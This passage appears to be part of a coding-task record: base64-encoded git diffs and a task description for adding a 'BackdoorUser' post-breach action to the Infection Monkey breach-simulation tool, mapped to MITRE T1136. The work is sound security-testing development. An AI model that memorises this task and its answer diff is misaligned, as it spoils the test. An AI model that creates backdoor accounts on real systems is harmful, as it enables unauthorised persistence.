XglMjA1OGJlODlhMS4uMWU5MTVkMmUlMjAxMDA2NDQlMEEtLS0lMjBhJTJGbW9ua2V5JTJGaW5mZWN0aW9uX21vbmtleSUyRnBvc3RfYnJlYWNoJTJGYWN0aW9ucyUyRmFkZF91c2VyLnB5JTBBJTJCJTJCJTJCJTIwYiUyRm1vbmtleSUyRmluZmVjdGlvbl9tb25rZXklMkZwb3N0X2JyZWFjaCUyRmFjdGlvbnMlMkZhZGRfdXNlci5weSUwQSU0MCU0MCUyMC0xJTJDMTUlMjAlMkIxJTJDNyUyMCU0MCU0MCUwQS1mcm9tJTIwY29tbW9uLmRhdGEucG9zdF9icmVhY2hfY29uc3RzJTIwaW1wb3J0JTIwUE9TVF9CUkVBQ0hfQkFDS0RPT1JfVVNFUiUwQS1mcm9tJTIwaW5mZWN0aW9uX21vbmtleS5jb25maWclMjBpbXBvcnQlMjBXb3JtQ29uZmlndXJhdGlvbiUwQSUyMGZyb20lMjBpbmZlY3Rpb25fbW9ua2V5LnBvc3RfYnJlYWNoLnBiYSUyMGltcG9ydCUyMFBCQSUwQSUyMGZyb20lMjBpbmZlY3Rpb25fbW9ua2V5LnV0aWxzLnVzZXJzJTIwaW1wb3J0JTIwZ2V0X2NvbW1hbmRzX3RvX2FkZF91c2VyJTBBJTIwJTBBJTIwJTBBJTIwY2xhc3MlMjBCYWNrZG9vclVzZXIoUEJBKSUzQSUwQSUyMCUyMCUyMCUyMCUyMGRlZiUyMF9faW5pdF9fKHNlbGYpJTNBJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGxpbnV4X2NtZHMlMkMlMjB3aW5kb3dzX2NtZHMlMjAlM0QlMjBnZXRfY29tbWFuZHNfdG9fYWRkX3VzZXIoJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMFdvcm1Db25maWd1cmF0aW9uLnVzZXJfdG9fYWRkJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMFdvcm1Db25maWd1cmF0aW9uLnJlbW90ZV91c2VyX3Bhc3MpJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHN1cGVyKEJhY2tkb29yVXNlciUyQyUyMHNlbGYpLl9faW5pdF9fKCUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBQT1NUX0JSRUFDSF9CQUNLRE9PUl9VU0VSJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGxpbnV4X2NtZCUzRCclMjAnLmpvaW4obGludXhfY21kcyklMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwd2luZG93c19jbWQlM0R3aW5kb3dzX2NtZHMpJTBBJTJCJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwcGFzcyUwQWRpZmYlMjAtLWdpdCUyMGElMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmF0dGFjayUyRnRlY2huaXF1ZV9yZXBvcnRzJTJGVDExMzYucHklMjBiJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZhdHRhY2slMkZ0ZWNobmlxdWVfcmVwb3J0cyUyRlQxMTM2LnB5JTBBaW5kZXglMjAwODZhMWMxMy4uYWU3ODE3M2QlMjAxMDA2NDQlMEEtLS0lMjBhJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZhdHRhY2slMkZ0ZWNobmlxdWVfcmVwb3J0cyUyRlQxMTM2LnB5JTBBJTJCJTJCJTJCJTIwYiUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGYXR0YWNrJTJGdGVjaG5pcXVlX3JlcG9ydHMlMkZUMTEzNi5weSUwQSU0MCU0MCUyMC0xJTJDNSUyMCUyQjElMkM0JTIwJTQwJTQwJTBBLWZyb20lMjBjb21tb24uZGF0YS5wb3N0X2JyZWFjaF9jb25zdHMlMjBpbXBvcnQlMjAoJTBBLSUyMCUyMCUyMCUyMFBPU1RfQlJFQUNIX0JBQ0tET09SX1VTRVIlMkMlMjBQT1NUX0JSRUFDSF9DT01NVU5JQ0FURV9BU19ORVdfVVNFUiklMEElMkJmcm9tJTIwY29tbW9uLmRhdGEucG9zdF9icmVhY2hfY29uc3RzJTIwaW1wb3J0JTIwKFBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSKSUwQSUyMGZyb20lMjBtb25rZXlfaXNsYW5kLmNjLnNlcnZpY2VzLmF0dGFjay50ZWNobmlxdWVfcmVwb3J0cy5wYmFfdGVjaG5pcXVlJTIwaW1wb3J0JTIwJTVDJTBBJTIwJTIwJTIwJTIwJTIwUG9zdEJyZWFjaFRlY2huaXF1ZSUwQSUyMCUwQSU0MCU0MCUyMC0xMSUyQzQlMjAlMkIxMCUyQzQlMjAlNDAlNDAlMjBjbGFzcyUyMFQxMTM2KFBvc3RCcmVhY2hUZWNobmlxdWUpJTNBJTBBJTIwJTIwJTIwJTIwJTIwdW5zY2FubmVkX21zZyUyMCUzRCUyMCUyMk1vbmtleSUyMGRpZG4ndCUyMHRyeSUyMGNyZWF0aW5nJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMG5ldHdvcmsncyUyMHN5c3RlbXMuJTIyJTBBJTIwJTIwJTIwJTIwJTIwc2Nhbm5lZF9tc2clMjAlM0QlMjAlMjJNb25rZXklMjB0cmllZCUyMGNyZWF0aW5nJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMG5ldHdvcmsncyUyMHN5c3RlbXMlMkMlMjBidXQlMjBmYWlsZWQuJTIyJTBBJTIwJTIwJTIwJTIwJTIwdXNlZF9tc2clMjAlM0QlMjAlMjJNb25rZXklMjBjcmVhdGVkJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMG5ldHdvcmsncyUyMHN5c3RlbXMuJTIyJTBBLSUyMCUyMCUyMCUyMHBiYV9uYW1lcyUyMCUzRCUyMCU1QlBPU1RfQlJFQUNIX0JBQ0tET09SX1VTRVIlMkMlMjBQT1NUX0JSRUFDSF9DT01NVU5JQ0FURV9BU19ORVdfVVNFUiU1RCUwQSUyQiUyMCUyMCUyMCUyMHBiYV9uYW1lcyUyMCUzRCUyMCU1QlBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSJTVEJTBBZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGY29uZmlnX3NjaGVtYSUyRmRlZmluaXRpb25zJTJGcG9zdF9icmVhY2hfYWN0aW9ucy5weSUyMGIlMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZkZWZpbml0aW9ucyUyRnBvc3RfYnJlYWNoX2FjdGlvbnMucHklMEFpbmRleCUyMGYzZTJhOWJmLi5lZmQxYzFkNSUyMDEwMDY0NCUwQS0tLSUyMGElMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZkZWZpbml0aW9ucyUyRnBvc3RfYnJlYWNoX2FjdGlvbnMucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZjb25maWdfc2NoZW1hJTJGZGVmaW5pdGlvbnMlMkZwb3N0X2JyZWFjaF9hY3Rpb25zLnB5JTBBJTQwJTQwJTIwLTQlMkMxNSUyMCUyQjQlMkM2JTIwJTQwJTQwJTIwUE9TVF9CUkVBQ0hfQUNUSU9OUyUyMCUzRCUyMCU3QiUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMm1pZ2h0JTIwZG8lMjBhZnRlciUyMGJyZWFjaGluZyUyMGElMjBuZXclMjBtYWNoaW5lLiUyMFVzZWQlMjBpbiUyMEFUVCUyNkNLJTIwYW5kJTIwWmVybyUyMHRydXN0JTIwcmVwb3J0cy4lMjIlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjJ0eXBlJTIyJTNBJTIwJTIyc3RyaW5nJTIyJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIyYW55T2YlMjIlM0ElMjAlNUIlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTdCJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnR5cGUlMjIlM0ElMjAlMjJzdHJpbmclMjIlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyZW51bSUyMiUzQSUyMCU1QiUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJCYWNrZG9vclVzZXIlMjIlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVEJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnRpdGxlJTIyJTNBJTIwJTIyQmFjayUyMGRvb3IlMjB1c2VyJTIyJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMmluZm8lMjIlM0ElMjAlMjJBdHRlbXB0cyUyMHRvJTIwY3JlYXRlJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMHN5c3RlbSUyMGFuZCUyMGRlbGV0ZSUyMGl0JTIwYWZ0ZXJ3YXJkcy4lMjIlMkMlMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyYXR0YWNrX3RlY2huaXF1ZXMlMjIlM0ElMjAlNUIlMjJUMTEzNiUyMiU1RCUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJ0eXBlJTIyJTNBJTIwJTIyc3RyaW5nJTIyJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyZW51bSUyMiUzQSUyMCU1QiUwQWRpZmYlMjAtLWdpdCUyMGElMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZtb25rZXkucHklMjBiJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZjb25maWdfc2NoZW1hJTJGbW9ua2V5LnB5JTBBaW5kZXglMjBkZDEwY2IzNS4uMGZlNjM1MTYlMjAxMDA2NDQlMEEtLS0lMjBhJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZjb25maWdfc2NoZW1hJTJGbW9ua2V5LnB5JTBBJTJCJTJCJTJCJTIwYiUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGY29uZmlnX3NjaGVtYSUyRm1vbmtleS5weSUwQSU0MCU0MCUyMC02MSUyQzclMjAlMkI2MSUyQzYlMjAlNDAlNDAlMjBNT05LRVklMjAlM0QlMjAlN0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjIlMjRyZWYlMjIlM0ElMjAlMjIlMjMlMkZkZWZpbml0aW9ucyUyRnBvc3RfYnJlYWNoX2FjdGlvbnMlMjIlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlN0QlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJkZWZhdWx0JTIyJTNBJTIwJTVCJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMkJhY2tkb29yVXNlciUyMiUyQyUwQSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMkNvbW11bmljYXRlQXNOZXdVc2VyJTIyJTJDJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyTW9kaWZ5U2hlbGxTdGFydHVwRmlsZXMlMjIlMkMlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJIaWRkZW5GaWxlcyUyMiUyQyUwQQ==",
- "description": "UmVhZCUyMCU1Qm91ciUyMGRvY3VtZW50YXRpb24lMjBhYm91dCUyMGFkZGluZyUyMGElMjBuZXclMjBQQkElNUQoaHR0cHMlM0ElMkYlMkZ3d3cuZ3VhcmRpY29yZS5jb20lMkZpbmZlY3Rpb25tb25rZXklMkZkb2NzJTJGZGV2ZWxvcG1lbnQlMkZhZGRpbmctcG9zdC1icmVhY2gtYWN0aW9ucyUyRikuJTBBJTBBQWZ0ZXIlMjB0aGF0JTIwd2UlMjB3YW50JTIweW91JTIwdG8lMjBhZGQlMjB0aGUlMjBCYWNrZG9vclVzZXIlMjBQQkEuJTIwVGhlJTIwY29tbWFuZHMlMjB0aGF0JTIwYWRkJTIwdXNlcnMlMjBmb3IlMjBXaW4lMjBhbmQlMjBMaW51eCUyMGNhbiUyMGJlJTIwcmV0cmlldmVkJTIwZnJvbSUyMCU2MGdldF9jb21tYW5kc190b19hZGRfdXNlciU2MC4lMjAlMEElMEFOb3RlJTIwdGhhdCUyMHRoZSUyMFBCQSUyMHNob3VsZCUyMGltcGFjdCUyMHRoZSUyMFQxMTM2JTIwTUlUUkUlMjB0ZWNobmlxdWUlMjBhcyUyMHdlbGwhJTIwJTBBJTBBJTIzJTIwTWFudWFsJTIwdGVzdCUyMHRvJTIwY29uZmlybSUwQSUwQTEuJTIwUnVuJTIwdGhlJTIwTW9ua2V5JTIwSXNsYW5kJTBBMi4lMjBNYWtlJTIwc3VyZSUyMHlvdXIlMjBuZXclMjBQQkElMjBpcyUyMGVuYWJsZWQlMjBieSUyMGRlZmF1bHQlMjBpbiUyMHRoZSUyMGNvbmZpZyUyMC0lMjBmb3IlMjB0aGlzJTIwdGVzdCUyQyUyMGRpc2FibGUlMjBuZXR3b3JrJTIwc2Nhbm5pbmclMkMlMjBleHBsb2l0aW5nJTJDJTIwYW5kJTIwYWxsJTIwb3RoZXIlMjBQQkFzJTBBMy4lMjBSdW4lMjBNb25rZXklMEE0LiUyMFNlZSUyMHRoZSUyMFBCQSUyMGluJTIwdGhlJTIwc2VjdXJpdHklMjByZXBvcnQlMEE1JTJDJTIwU2VlJTIwdGhlJTIwUEJBJTIwaW4lMjB0aGUlMjBNSVRSRSUyMHJlcG9ydCUyMGluJTIwdGhlJTIwcmVsZXZhbnQlMjB0ZWNobmlxdWUlMEE=",
+ "diff": "ZGlmZiUyMC0tZ2l0JTIwYSUyRm1vbmtleSUyRmNvbW1vbiUyRmRhdGElMkZwb3N0X2JyZWFjaF9jb25zdHMucHklMjBiJTJGbW9ua2V5JTJGY29tbW9uJTJGZGF0YSUyRnBvc3RfYnJlYWNoX2NvbnN0cy5weSUwQWluZGV4JTIwYzNiYmE5OTUuLmI3YTIyOGJiJTIwMTAwNjQ0JTBBLS0tJTIwYSUyRm1vbmtleSUyRmNvbW1vbiUyRmRhdGElMkZwb3N0X2JyZWFjaF9jb25zdHMucHklMEElMkIlMkIlMkIlMjBiJTJGbW9ua2V5JTJGY29tbW9uJTJGZGF0YSUyRnBvc3RfYnJlYWNoX2NvbnN0cy5weSUwQSU0MCU0MCUyMC0xJTJDNSUyMCUyQjElMkM1JTIwJTQwJTQwJTBBJTIwUE9TVF9CUkVBQ0hfQ09NTVVOSUNBVEVfQVNfTkVXX1VTRVIlMjAlM0QlMjAlMjJDb21tdW5pY2F0ZSUyMGFzJTIwbmV3JTIwdXNlciUyMiUwQS1QT1NUX0JSRUFDSF9CQUNLRE9PUl9VU0VSJTIwJTNEJTIwJTIyQmFja2Rvb3IlMjB1c2VyJTIyJTBBJTJCUE9TVF9CUkVBQ0hfQkRfVVNFUiUyMCUzRCUyMCUyMkJhY2tkb29yJTIwdXNlciUyMiUwQSUyMFBPU1RfQlJFQUNIX0ZJTEVfRVhFQ1VUSU9OJTIwJTNEJTIwJTIyRmlsZSUyMGV4ZWN1dGlvbiUyMiUwQSUyMFBPU1RfQlJFQUNIX1NIRUxMX1NUQVJUVVBfRklMRV9NT0RJRklDQVRJT04lMjAlM0QlMjAlMjJNb2RpZnklMjBzaGVsbCUyMHN0YXJ0dXAlMjBmaWxlJTIyJTBBJTIwUE9TVF9CUkVBQ0hfSElEREVOX0ZJTEVTJTIwJTNEJTIwJTIySGlkZSUyMGZpbGVzJTIwYW5kJTIwZGlyZWN0b3JpZXMlMjIlMEFkaWZmJTIwLS1naXQlMjBhJTJGbW9ua2V5JTJGaW5mZWN0aW9uX21vbmtleSUyRnBvc3RfYnJlYWNoJTJGYWN0aW9ucyUyRmFkZF91c2VyLnB5JTIwYiUyRm1vbmtleSUyRmluZmVjdGlvbl9tb25rZXklMkZwb3N0X2JyZWFjaCUyRmFjdGlvbnMlMkZhZGRfdXNlci5weSUwQWluZGV4JTIwNThiZTg5YTEuLmEzNWY1OWZlJTIwMTAwNjQ0JTBBLS0tJTIwYSUyRm1vbmtleSUyRmluZmVjdGlvbl9tb25rZXklMkZwb3N0X2JyZWFjaCUyRmFjdGlvbnMlMkZhZGRfdXNlci5weSUwQSUyQiUyQiUyQiUyMGIlMkZtb25rZXklMkZpbmZlY3Rpb25fbW9ua2V5JTJGcG9zdF9icmVhY2glMkZhY3Rpb25zJTJGYWRkX3VzZXIucHklMEElNDAlNDAlMjAtMSUyQzE1JTIwJTJCMSUyQzEyJTIwJTQwJTQwJTBBLWZyb20lMjBjb21tb24uZGF0YS5wb3N0X2JyZWFjaF9jb25zdHMlMjBpbXBvcnQlMjBQT1NUX0JSRUFDSF9CQUNLRE9PUl9VU0VSJTBBLWZyb20lMjBpbmZlY3Rpb25fbW9ua2V5LmNvbmZpZyUyMGltcG9ydCUyMFdvcm1Db25maWd1cmF0aW9uJTBBJTJCZnJvbSUyMGNvbW1vbi5kYXRhLnBvc3RfYnJlYWNoX2NvbnN0cyUyMGltcG9ydCUyMFBPU1RfQlJFQUNIX0JEX1VTRVIlMEElMjBmcm9tJTIwaW5mZWN0aW9uX21vbmtleS5wb3N0X2JyZWFjaC5wYmElMjBpbXBvcnQlMjBQQkElMEElMjBmcm9tJTIwaW5mZWN0aW9uX21vbmtleS51dGlscy51c2VycyUyMGltcG9ydCUyMGdldF9jb21tYW5kc190b19hZGRfdXNlciUwQSUyMCUwQSUyMCUwQSUyMGNsYXNzJTIwQmFja2Rvb3JVc2VyKFBCQSklM0ElMEElMjAlMjAlMjAlMjAlMjBkZWYlMjBfX2luaXRfXyhzZWxmKSUzQSUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBsaW51eF9jbWRzJTJDJTIwd2luZG93c19jbWRzJTIwJTNEJTIwZ2V0X2NvbW1hbmRzX3RvX2FkZF91c2VyKCUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBXb3JtQ29uZmlndXJhdGlvbi51c2VyX3RvX2FkZCUyQyUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBXb3JtQ29uZmlndXJhdGlvbi5yZW1vdGVfdXNlcl9wYXNzKSUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBzdXBlcihCYWNrZG9vclVzZXIlMkMlMjBzZWxmKS5fX2luaXRfXyglMEEtJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwUE9TVF9CUkVBQ0hfQkFDS0RPT1JfVVNFUiUyQyUwQS0lMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjBsaW51eF9jbWQlM0QnJTIwJy5qb2luKGxpbnV4X2NtZHMpJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHdpbmRvd3NfY21kJTNEd2luZG93c19jbWRzKSUwQSUyQiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMGxpbnV4X2NtZHMlMkMlMjB3aW5kb3dzX2NtZHMlMjAlM0QlMjBnZXRfY29tbWFuZHNfdG9fYWRkX3VzZXIoKSUwQSUyQiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHN1cGVyKEJhY2tkb29yVXNlciUyQyUyMHNlbGYpLl9faW5pdF9fKG5hbWUlM0RQT1NUX0JSRUFDSF9CRF9VU0VSJTJDJTBBJTJCJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwbGludXhfY21kJTNEJyUyMCcuam9pbihsaW51eF9jbWRzKSUyQyUwQSUyQiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMHdpbmRvd3NfY21kJTNEd2luZG93c19jbWRzKSUwQSUyQiUwQWRpZmYlMjAtLWdpdCUyMGElMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmF0dGFjayUyRnRlY2huaXF1ZV9yZXBvcnRzJTJGVDExMzYucHklMjBiJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZhdHRhY2slMkZ0ZWNobmlxdWVfcmVwb3J0cyUyRlQxMTM2LnB5JTBBaW5kZXglMjAwODZhMWMxMy4uNWNkMDI4MzQlMjAxMDA2NDQlMEEtLS0lMjBhJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZhdHRhY2slMkZ0ZWNobmlxdWVfcmVwb3J0cyUyRlQxMTM2LnB5JTBBJTJCJTJCJTJCJTIwYiUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGYXR0YWNrJTJGdGVjaG5pcXVlX3JlcG9ydHMlMkZUMTEzNi5weSUwQSU0MCU0MCUyMC0xJTJDNSUyMCUyQjElMkM0JTIwJTQwJTQwJTBBLWZyb20lMjBjb21tb24uZGF0YS5wb3N0X2JyZWFjaF9jb25zdHMlMjBpbXBvcnQlMjAoJTBBLSUyMCUyMCUyMCUyMFBPU1RfQlJFQUNIX0JBQ0tET09SX1VTRVIlMkMlMjBQT1NUX0JSRUFDSF9DT01NVU5JQ0FURV9BU19ORVdfVVNFUiklMEElMkJmcm9tJTIwY29tbW9uLmRhdGEucG9zdF9icmVhY2hfY29uc3RzJTIwaW1wb3J0JTIwKFBPU1RfQlJFQUNIX0NPTU1VTklDQVRFX0FTX05FV19VU0VSJTJDJTIwUE9TVF9CUkVBQ0hfQkRfVVNFUiklMEElMjBmcm9tJTIwbW9ua2V5X2lzbGFuZC5jYy5zZXJ2aWNlcy5hdHRhY2sudGVjaG5pcXVlX3JlcG9ydHMucGJhX3RlY2huaXF1ZSUyMGltcG9ydCUyMCU1QyUwQSUyMCUyMCUyMCUyMCUyMFBvc3RCcmVhY2hUZWNobmlxdWUlMEElMjAlMEElNDAlNDAlMjAtMTElMkM0JTIwJTJCMTAlMkM0JTIwJTQwJTQwJTIwY2xhc3MlMjBUMTEzNihQb3N0QnJlYWNoVGVjaG5pcXVlKSUzQSUwQSUyMCUyMCUyMCUyMCUyMHVuc2Nhbm5lZF9tc2clMjAlM0QlMjAlMjJNb25rZXklMjBkaWRuJ3QlMjB0cnklMjBjcmVhdGluZyUyMGElMjBuZXclMjB1c2VyJTIwb24lMjB0aGUlMjBuZXR3b3JrJ3MlMjBzeXN0ZW1zLiUyMiUwQSUyMCUyMCUyMCUyMCUyMHNjYW5uZWRfbXNnJTIwJTNEJTIwJTIyTW9ua2V5JTIwdHJpZWQlMjBjcmVhdGluZyUyMGElMjBuZXclMjB1c2VyJTIwb24lMjB0aGUlMjBuZXR3b3JrJ3MlMjBzeXN0ZW1zJTJDJTIwYnV0JTIwZmFpbGVkLiUyMiUwQSUyMCUyMCUyMCUyMCUyMHVzZWRfbXNnJTIwJTNEJTIwJTIyTW9ua2V5JTIwY3JlYXRlZCUyMGElMjBuZXclMjB1c2VyJTIwb24lMjB0aGUlMjBuZXR3b3JrJ3MlMjBzeXN0ZW1zLiUyMiUwQS0lMjAlMjAlMjAlMjBwYmFfbmFtZXMlMjAlM0QlMjAlNUJQT1NUX0JSRUFDSF9CQUNLRE9PUl9VU0VSJTJDJTIwUE9TVF9CUkVBQ0hfQ09NTVVOSUNBVEVfQVNfTkVXX1VTRVIlNUQlMEElMkIlMjAlMjAlMjAlMjBwYmFfbmFtZXMlMjAlM0QlMjAlNUJQT1NUX0JSRUFDSF9DT01NVU5JQ0FURV9BU19ORVdfVVNFUiUyQyUyMFBPU1RfQlJFQUNIX0JEX1VTRVIlNUQlMEFkaWZmJTIwLS1naXQlMjBhJTJGbW9ua2V5JTJGbW9ua2V5X2lzbGFuZCUyRmNjJTJGc2VydmljZXMlMkZjb25maWdfc2NoZW1hJTJGZGVmaW5pdGlvbnMlMkZwb3N0X2JyZWFjaF9hY3Rpb25zLnB5JTIwYiUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGY29uZmlnX3NjaGVtYSUyRmRlZmluaXRpb25zJTJGcG9zdF9icmVhY2hfYWN0aW9ucy5weSUwQWluZGV4JTIwZjNlMmE5YmYuLjE2ODYyODhkJTIwMTAwNjQ0JTBBLS0tJTIwYSUyRm1vbmtleSUyRm1vbmtleV9pc2xhbmQlMkZjYyUyRnNlcnZpY2VzJTJGY29uZmlnX3NjaGVtYSUyRmRlZmluaXRpb25zJTJGcG9zdF9icmVhY2hfYWN0aW9ucy5weSUwQSUyQiUyQiUyQiUyMGIlMkZtb25rZXklMkZtb25rZXlfaXNsYW5kJTJGY2MlMkZzZXJ2aWNlcyUyRmNvbmZpZ19zY2hlbWElMkZkZWZpbml0aW9ucyUyRnBvc3RfYnJlYWNoX2FjdGlvbnMucHklMEElNDAlNDAlMjAtOSUyQzglMjAlMkI5JTJDOCUyMCU0MCU0MCUyMFBPU1RfQlJFQUNIX0FDVElPTlMlMjAlM0QlMjAlN0IlMEElMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJlbnVtJTIyJTNBJTIwJTVCJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIyQmFja2Rvb3JVc2VyJTIyJTBBJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTIwJTVEJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMnRpdGxlJTIyJTNBJTIwJTIyQmFjayUyMGRvb3IlMjB1c2VyJTIyJTJDJTBBLSUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMmluZm8lMjIlM0ElMjAlMjJBdHRlbXB0cyUyMHRvJTIwY3JlYXRlJTIwYSUyMG5ldyUyMHVzZXIlMjBvbiUyMHRoZSUyMHN5c3RlbSUyMGFuZCUyMGRlbGV0ZSUyMGl0JTIwYWZ0ZXJ3YXJkcy4lMjIlMkMlMEElMkIlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjAlMjJ0aXRsZSUyMiUzQSUyMCUyMkJhY2tkb29yVXNlciUyMiUyQyUwQSUyQiUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMCUyMmluZm8lMjIlM0ElMjAlMjJCYWNrZG9vclVzZXIlMjBpbmZvJTIyJTJDJTBBJTIw